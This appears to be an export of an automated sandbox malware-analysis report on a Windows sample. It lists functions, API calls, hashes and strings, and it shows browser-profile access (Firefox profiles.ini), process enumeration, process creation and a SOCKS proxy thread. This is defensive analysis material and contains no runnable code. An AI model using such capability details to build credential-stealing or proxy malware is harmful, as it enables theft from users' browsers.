Opcode ID: e0818d5a82deb89aaadb6ba785364e5a0a6d92384c37d354680527ec0c3fbc13
Instruction ID: 5dcea5b0512dcc7ac174b4f33959224c996388a8fec1e979105caa6332d70fe6
Opcode Fuzzy Hash: e0818d5a82deb89aaadb6ba785364e5a0a6d92384c37d354680527ec0c3fbc13
Instruction Fuzzy Hash: 23C1C0B1A001099FCB18DFACC9809BDBBE1EF84310B148369E955DB396E771EE51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AF5390 Relevance: 1.8, APIs: 1, Instructions: 268COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00AF54A7

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 50653ba1e6ae75717dd63f33bdf24a99ffd3c8c858723094f0cc6099954beabb
Instruction ID: 132ce32960312bb9d48c67a48c3ceb624462dd3b38adf4e58c9ddba677454f60
Opcode Fuzzy Hash: 50653ba1e6ae75717dd63f33bdf24a99ffd3c8c858723094f0cc6099954beabb
Instruction Fuzzy Hash: BC81E672A005099FC718DFB8C98597EBBAAEB44311724832DFA25C7395EB30EE55C790

Uniqueness

Uniqueness Score: -1.00%

Function 07180218 Relevance: 1.6, APIs: 1, Instructions: 115libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 0718029E

Memory Dump Source

Source File: 00000000.00000002.4494496501.0000000007180000.00000040.00001000.00020000.00000000.sdmp, Offset: 07180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7180000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7fbea16f81ed2aaef5533adc727d577db3c2b969191867bbe4d4b3cd898a283c
Instruction ID: 3310de6e2f0d76ac118e02d7195acba53ad8f15b4029ab0676025682d45e1ebd
Opcode Fuzzy Hash: 7fbea16f81ed2aaef5533adc727d577db3c2b969191867bbe4d4b3cd898a283c
Instruction Fuzzy Hash: EE41A0F670020A9FDB54DF58C880A65B7B6FF89314B288269EC089B381D770EC95CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AF54C0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00AF55BB

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: d978d896048c0b3cd5732a487f06418df6e6fb911afe2fe337bb44900dfcdd64
Instruction ID: 315bc0f5fe1cd894d0de4a4f7d8c0f0018eef5fa04f63dda10892afad40dea56
Opcode Fuzzy Hash: d978d896048c0b3cd5732a487f06418df6e6fb911afe2fe337bb44900dfcdd64
Instruction Fuzzy Hash: 0C31E972F00419AF8B04DFBCCA8987E7BBADB853507144269FA19DB355EA30DE0587A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AF0560 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00AF0628

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: bbfd48854ba695b21552dd219378db214a97cbb4ca0083f566f0c8e103608648
Instruction ID: fa556cd5ba7d0a1ba28d75d613371dc33f41d34905bfa29e82e520af02b6e9c3
Opcode Fuzzy Hash: bbfd48854ba695b21552dd219378db214a97cbb4ca0083f566f0c8e103608648
Instruction Fuzzy Hash: 53210A72A00108AFCB04EFB8CD85D7EB7A99B85350B21836DF919D7392DA70ED0187A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AEA1C0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00AEA23C

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 7960f80fb6fde2e8fee1ae22881f2a77a960865b6892f3bddf4791d9cd88548e
Instruction ID: 1bf0d8a3259a3335083d40baafdabc27a3065373c296db6b2d614b09c3a717de
Opcode Fuzzy Hash: 7960f80fb6fde2e8fee1ae22881f2a77a960865b6892f3bddf4791d9cd88548e
Instruction Fuzzy Hash: 5B01F5726000645F9B10ABAACD82DAB7B99DF653507054275FA06EB262D631FD0883E2

Uniqueness

Uniqueness Score: -1.00%

Function 07109970 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

SetupDiGetClassDevsA.SETUPAPI(07169500,00000000,00000000,00000012), ref: 071099A7

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ClassDevsSetup
String ID:
API String ID: 2330331845-0
Opcode ID: 79093f43a6953cadc2c74982fae336ada991ba7978ab12157c37d70357097aca
Instruction ID: bf3edb536ffdad97e79c9680779cb7d5d658c29ad00df15fc28a89f26d872308
Opcode Fuzzy Hash: 79093f43a6953cadc2c74982fae336ada991ba7978ab12157c37d70357097aca
Instruction Fuzzy Hash: 2411F3B0E04208EBDB04DF98C995BAEBBB0BB48314F208159E514AB3C0D3756A40DF84

Uniqueness

Uniqueness Score: -1.00%

Function 0710D3F0 Relevance: 1.5, APIs: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(0712CA21,00000001,0717A924,00000000), ref: 0710D41D

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: e19ccfe7e13e1226b713d809ad3eed68e94dedce1a25efafd38809948419e0a4
Instruction ID: 4b3e4a91c2cac9cbfbbcf800dfd32727eae0ed6bff8d835e42a6c060343714cf
Opcode Fuzzy Hash: e19ccfe7e13e1226b713d809ad3eed68e94dedce1a25efafd38809948419e0a4
Instruction Fuzzy Hash: 17E07574605208EBEB00CF44D845B997BB8EB48758F108188FD089B381C6B6AE408B94

Uniqueness

Uniqueness Score: -1.00%

Function 07112470 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000B04,0000FFFF,00001006,00000B04,00000008), ref: 071124A3

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8503bcf0b9394ecbe63039f603adc370d37eee71e99e5e01564615eccba2d28a
Instruction ID: b85310b1344e2b2be1cc5dbba8243f2c6441fc808921b6431298400bee61ae52
Opcode Fuzzy Hash: 8503bcf0b9394ecbe63039f603adc370d37eee71e99e5e01564615eccba2d28a
Instruction Fuzzy Hash: C0E04F70D40308BFDB50DFA4D94ABDCBBB8AB48700F50C1A9F908AB2C0E6B45744CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00B14019 Relevance: 1.4, APIs: 1, Instructions: 197COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000000,?,?,00000000,00000000,00000000,?,00BC2E1F,?,00B07877,00BC2E1F,?,00C48900,00000010), ref: 00B141A8

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 0881607a21f6d05bcc37ecfbc3423b3ab4984da8b5ff6ec73b0b56724ce5ac3c
Instruction ID: a6be17affb3e54686d45aa02eaef1ab7116f3912e167cc2847e1a4b75d5c72aa
Opcode Fuzzy Hash: 0881607a21f6d05bcc37ecfbc3423b3ab4984da8b5ff6ec73b0b56724ce5ac3c
Instruction Fuzzy Hash: 3061B171900119BEDF11CFA8DC84EEEBFF9EF09304F940195E904B7252E7329A958BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B0CDAC Relevance: 1.3, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00000000,00B07957,00000000,00000002,00000000,00000000,00000000,00000000,?,00B0CEE6,00000000,00000000,00B07957), ref: 00B0CDF5

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: f2058429a9f6cac74527a69dba9085c2d3ac8c7ac141661d645b531ce10e3b3a
Instruction ID: e9beff16377bbb4e12a358fbdf52cd16fe4351785f5854113497ef15c1638d90
Opcode Fuzzy Hash: f2058429a9f6cac74527a69dba9085c2d3ac8c7ac141661d645b531ce10e3b3a
Instruction Fuzzy Hash: FB01D232614259AFCF058F59DC45DAE3FA9DF85320B240398F811AB2D1EB71EE919BD0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07104910 Relevance: 204.5, APIs: 54, Strings: 61, Instructions: 3289stringprocessfileCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,00000000,?,07167067,000000FF), ref: 07104BBE
lstrcatA.KERNEL32(?,?), ref: 07104F04
lstrcatA.KERNEL32(?,?), ref: 07105040
lstrcatA.KERNEL32(?,?,?,?,?,?,07167067,000000FF), ref: 071056A0
lstrcatA.KERNEL32(?,?), ref: 071057CB
lstrcatA.KERNEL32(?,?), ref: 0710585A
lstrcatA.KERNEL32(?,?), ref: 07105991
lstrcatA.KERNEL32(?,?), ref: 07105BA3
lstrcatA.KERNEL32(?,?), ref: 07105CD3
CreateDirectoryA.KERNEL32(?,00000000,?,?), ref: 07105D59
lstrcatA.KERNEL32(?,?), ref: 07105FD2
lstrcatA.KERNEL32(?,?), ref: 07106109
lstrcatA.KERNEL32(?,?), ref: 07106245
lstrcatA.KERNEL32(?,?), ref: 07107486
lstrcatA.KERNEL32(?,071713E4), ref: 07107498
lstrcatA.KERNEL32(?,?), ref: 071074AC
lstrcatA.KERNEL32(?,071713E4), ref: 071074BE
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000030,00000000,00000000,00000044,?), ref: 071075A5
lstrcatA.KERNEL32(?,?), ref: 07107E3A
lstrcatA.KERNEL32(?,071713E4), ref: 07107E4C
lstrcatA.KERNEL32(?,?), ref: 07107E60
lstrcatA.KERNEL32(?,071713E4), ref: 07107E72
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 07107F59
lstrcatA.KERNEL32(?,00000000,?,07167067,000000FF), ref: 071080C0
lstrcatA.KERNEL32(?,\Mozilla\Firefox\,?,07167067,000000FF), ref: 071080D2
lstrcatA.KERNEL32(?,?,?,?,?,?,07167067,000000FF), ref: 071080FC
lstrcatA.KERNEL32(?,profiles.ini,?,?,?,?,07167067,000000FF), ref: 0710810E
CreateFileA.KERNEL32(?,00000001,00000003,00000000,00000003,00000080,00000000,?,?,?,?,07167067,000000FF), ref: 0710812A
GetFileSize.KERNEL32(000000FF,00000000), ref: 0710814D
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 07108193
CloseHandle.KERNEL32(?), ref: 07108E63

Strings

J9q=, xrefs: 07108036
/9q=, xrefs: 071062B8
J9q=, xrefs: 0710834C
J9q=, xrefs: 07106306
J9q=, xrefs: 07104E0D
J9q=, xrefs: 07104FC5
J9q=, xrefs: 071066E1
zfoa, xrefs: 07106461
eZQN, xrefs: 07105E33
J9q=, xrefs: 07104AEC
J9q=, xrefs: 07106B0E
J9q=, xrefs: 07108A79
iku$, xrefs: 071050E0
/9q=, xrefs: 07106F26
IsRelative=, xrefs: 071081A5
Path=, xrefs: 07108215
J9q=, xrefs: 07105C58
J9q=, xrefs: 07107FE8
J9q=, xrefs: 07105EDB
+eq=, xrefs: 07105C0A
J9q=, xrefs: 07107981
,M-x, xrefs: 07104D65
J9q=, xrefs: 07105750
#Rx, xrefs: 071078AA
J9q=, xrefs: 07105916
8XQz, xrefs: 07106A00
J9q=, xrefs: 071088BA
J9q=, xrefs: 07106D83
J9q=, xrefs: 0710608E
d6Uktt3Cm1WoG67, xrefs: 071057D1, 071074E1, 07107E95, 0710868E, 07108D6E
tlw6, xrefs: 0710665A
J9q=, xrefs: 07105AAC
\Mozilla\Firefox\, xrefs: 071080C6
J9q=, xrefs: 071064E8
J9q=, xrefs: 0710515B
J9q=, xrefs: 071061CA
=oi., xrefs: 071078D7
J9q=, xrefs: 071068D2
J9q=, xrefs: 07104B3A
}co$, xrefs: 07108B9B
zfo., xrefs: 07107092
eZQN, xrefs: 07108812
J9q=, xrefs: 07108491
tlw6, xrefs: 07106CFC
J9q=, xrefs: 0710839A
2\q=, xrefs: 0710617C
J9q=, xrefs: 0710557F
/9q=, xrefs: 07106884
J9q=, xrefs: 0710536D
J9q=, xrefs: 071084DF
J9q=, xrefs: 07104C73
J9q=, xrefs: 0710721B
2\q=, xrefs: 07106040
ry#l, xrefs: 07107639
profiles.ini, xrefs: 07108102
J9q=, xrefs: 07108C16
ly>, xrefs: 07107A53
zho$, xrefs: 07106A2D
J9q=, xrefs: 07106F74
J9q=, xrefs: 07105702
u85~, xrefs: 07107AE1

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: lstrcat$Create$File$Process$CloseDirectoryHandleReadSize
String ID: #Rx$+eq=$,M-x$/9q=$/9q=$/9q=$2\q=$2\q=$8XQz$=oi.$IsRelative=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$Path=$\Mozilla\Firefox\$d6Uktt3Cm1WoG67$eZQN$eZQN$iku$$profiles.ini$ry#l$tlw6$tlw6$u85~$zfo.$zfoa$zho$$}co$$ly>
API String ID: 1019643014-2520446017
Opcode ID: 6acdbbfaae10487aa56fe38ca5b9c5cd551914edc754ca0e9d5bb629e8150fb0
Instruction ID: 0f21a1881d854d8915d36f2feca81635035d5057c683aac3c124bdd651134459
Opcode Fuzzy Hash: 6acdbbfaae10487aa56fe38ca5b9c5cd551914edc754ca0e9d5bb629e8150fb0
Instruction Fuzzy Hash: 6B93E4B4D096A88BDB26CF2888516EDFBB1AF99304F1482D9D98C77251EB301BC5CF45

Uniqueness

Uniqueness Score: -1.00%

Function 07110B90 Relevance: 65.9, APIs: 5, Strings: 32, Instructions: 1155processCOMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMTD ref: 07110C05
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 07110C2B
Process32First.KERNEL32(?,00000128), ref: 07110C45
Process32Next.KERNEL32(?,00000128), ref: 07110C62

Strings

J9q=, xrefs: 071112A3
J9q=, xrefs: 07111C95
J9q=, xrefs: 07111CE3
J9q=, xrefs: 07110F67
J9q=, xrefs: 07111389
J9q=, xrefs: 07111663
J9q=, xrefs: 071113D7
J9q=, xrefs: 0711107E
J9q=, xrefs: 07110DF0
J9q=, xrefs: 07111A82
J9q=, xrefs: 07111B68
J9q=, xrefs: 07111A34
J9q=, xrefs: 071110CC
J9q=, xrefs: 071114B6
J9q=, xrefs: 07111F87
J9q=, xrefs: 071117E5
J9q=, xrefs: 071116B1
J9q=, xrefs: 07111912
J9q=, xrefs: 07110D15
J9q=, xrefs: 071118C4
J9q=, xrefs: 07110E3E
J9q=, xrefs: 07111504
J9q=, xrefs: 07111E53
J9q=, xrefs: 07110CC7
J9q=, xrefs: 07111797
J9q=, xrefs: 07110F19
J9q=, xrefs: 071120B4
J9q=, xrefs: 07111255
J9q=, xrefs: 07111F39
J9q=, xrefs: 07111BB6
J9q=, xrefs: 07111E05
J9q=, xrefs: 07112066

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Process32$CreateFirstNextSnapshotToolhelp32std::exception::exception
String ID: J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=
API String ID: 685553215-662905839
Opcode ID: 484c442ae9ebc1ef5e0be84d97a1412a028436fde8a5ab0bede578bc9f2d7e11
Instruction ID: 2f9bc58b401519c0593430b7bb904fcd4364c8357068c3aa007e236b916bd2fc
Opcode Fuzzy Hash: 484c442ae9ebc1ef5e0be84d97a1412a028436fde8a5ab0bede578bc9f2d7e11
Instruction Fuzzy Hash: E0E212B4D096A88BDB26CF2888916DDFBB1AF59304F1482D9D98CB7251EB301BC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 071272F0 Relevance: 64.4, APIs: 22, Strings: 14, Instructions: 1363threadnetworkCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 07127345
_memcpy_s.LIBCPMTD ref: 071277ED
_memcpy_s.LIBCPMTD ref: 07127807
inet_ntop.WS2_32(00000002,?,00000000,00000016), ref: 07127835
htons.WS2_32(?), ref: 07127850
GetCurrentThreadId.KERNEL32 ref: 0712785F
GetCurrentThreadId.KERNEL32 ref: 07127C64
_memcpy_s.LIBCPMTD ref: 07127D13
getaddrinfo.WS2_32(?,071711A8,00000001,00000000), ref: 07127D35
WSAGetLastError.WS2_32 ref: 07127D55
GetCurrentThreadId.KERNEL32 ref: 07127D61
_memcpy_s.LIBCPMTD ref: 071281FF
_memcpy_s.LIBCPMTD ref: 07128229
inet_ntop.WS2_32(00000002,?,00000000,00000016), ref: 07128257
htons.WS2_32(?), ref: 07128272
GetCurrentThreadId.KERNEL32 ref: 07128281
GetCurrentThreadId.KERNEL32 ref: 07128674
_memcpy_s.LIBCPMTD ref: 07128B19
_memcpy_s.LIBCPMTD ref: 07128B33
inet_ntop.WS2_32(00000017,?,00000000,00000041), ref: 07128B61
htons.WS2_32(?), ref: 07128B7C
GetCurrentThreadId.KERNEL32 ref: 07128B8B

Strings

3/gh, xrefs: 071273D4
J9q=, xrefs: 07127566
3/gh, xrefs: 07128703
J9q=, xrefs: 07127F7F
"t, xrefs: 07127EF6
3/gh, xrefs: 0712830D
3/gh, xrefs: 07127DED
J9q=, xrefs: 07128D4F
J9q=, xrefs: 07127A2C
[-] SOCKS thread(%d) getAddressInfo DNS selected, length mismatch: %ld, xrefs: 07127C6B
J9q=, xrefs: 07128445
3/gh, xrefs: 07128C17
3/gh, xrefs: 071278F4
J9q=, xrefs: 07128895

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CurrentThread_memcpy_s$htonsinet_ntop$ErrorLastgetaddrinfo
String ID: "t$3/gh$3/gh$3/gh$3/gh$3/gh$3/gh$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$[-] SOCKS thread(%d) getAddressInfo DNS selected, length mismatch: %ld
API String ID: 1609131275-922317619
Opcode ID: 33c7110065c6dd813f6ccd58892f87e648579378fe310955ba3e6c68a90cbb07
Instruction ID: daa33de5e03abc23e8910c2d7c8f1fa53ca878d6a895ef67821e19662e3392cf
Opcode Fuzzy Hash: 33c7110065c6dd813f6ccd58892f87e648579378fe310955ba3e6c68a90cbb07
Instruction Fuzzy Hash: 6803CFB4D056A88BEB268F28D8817E9FBB1BF98304F1492D9D94C67251EB305BC5CF44

Uniqueness

Uniqueness Score: -1.00%

Function 07128F60 Relevance: 53.0, APIs: 13, Strings: 16, Instructions: 2232threadnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 071272F0: GetCurrentThreadId.KERNEL32 ref: 07127345

GetCurrentThreadId.KERNEL32 ref: 07128FE6
socket.WS2_32(00000017,00000001,00000006), ref: 071296F4
WSAGetLastError.WS2_32 ref: 07129714
GetCurrentThreadId.KERNEL32 ref: 07129720

Strings

3/gh, xrefs: 0712A44D
3/gh, xrefs: 0712AAA3
J9q=, xrefs: 0712ABDB
~iw(, xrefs: 0712B3D2
3/gh, xrefs: 0712B8B9
3/gh, xrefs: 0712907B
J9q=, xrefs: 0712B44A
3/gh, xrefs: 07129E0B
~iw(, xrefs: 0712B5E7
J9q=, xrefs: 0712B9E5
J9q=, xrefs: 0712B6B9
J9q=, xrefs: 0712920D
3/gh, xrefs: 071297B5
J9q=, xrefs: 0712A585
J9q=, xrefs: 07129F43
J9q=, xrefs: 071298ED

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLastsocket
String ID: 3/gh$3/gh$3/gh$3/gh$3/gh$3/gh$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$~iw($~iw(
API String ID: 1753251534-3165394932
Opcode ID: 1146ba1208da907552eb17345a80a3996150a42b977e36ce03284872b4ad1e80
Instruction ID: b829753e4fd5331f176c24da86248d3d7b2058377dac69dd8538bfa6fe1b1f16
Opcode Fuzzy Hash: 1146ba1208da907552eb17345a80a3996150a42b977e36ce03284872b4ad1e80
Instruction Fuzzy Hash: 1853C1B4D056A88BDB25CF28C891BE9BBB1BF99304F1482D9D94C67351EB315AC5CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0710FE50 Relevance: 51.4, APIs: 20, Strings: 9, Instructions: 627libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 0711018A
GetProcAddress.KERNEL32(?,?), ref: 071101A4
GetModuleHandleA.KERNEL32(?), ref: 071103DF
GetProcAddress.KERNEL32(?,?), ref: 071103F9
OpenProcess.KERNEL32(00000040,00000000,?), ref: 0711040D
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000), ref: 07110499
CloseHandle.KERNEL32(00000000), ref: 071104F3
CloseHandle.KERNEL32(00000000), ref: 07110539

Strings

sxf , xrefs: 071105F7
J9q=, xrefs: 0711066F
J9q=, xrefs: 07110263
&9q=, xrefs: 071100C8
File, xrefs: 0711055A
&9q=, xrefs: 07110320
J9q=, xrefs: 07110116
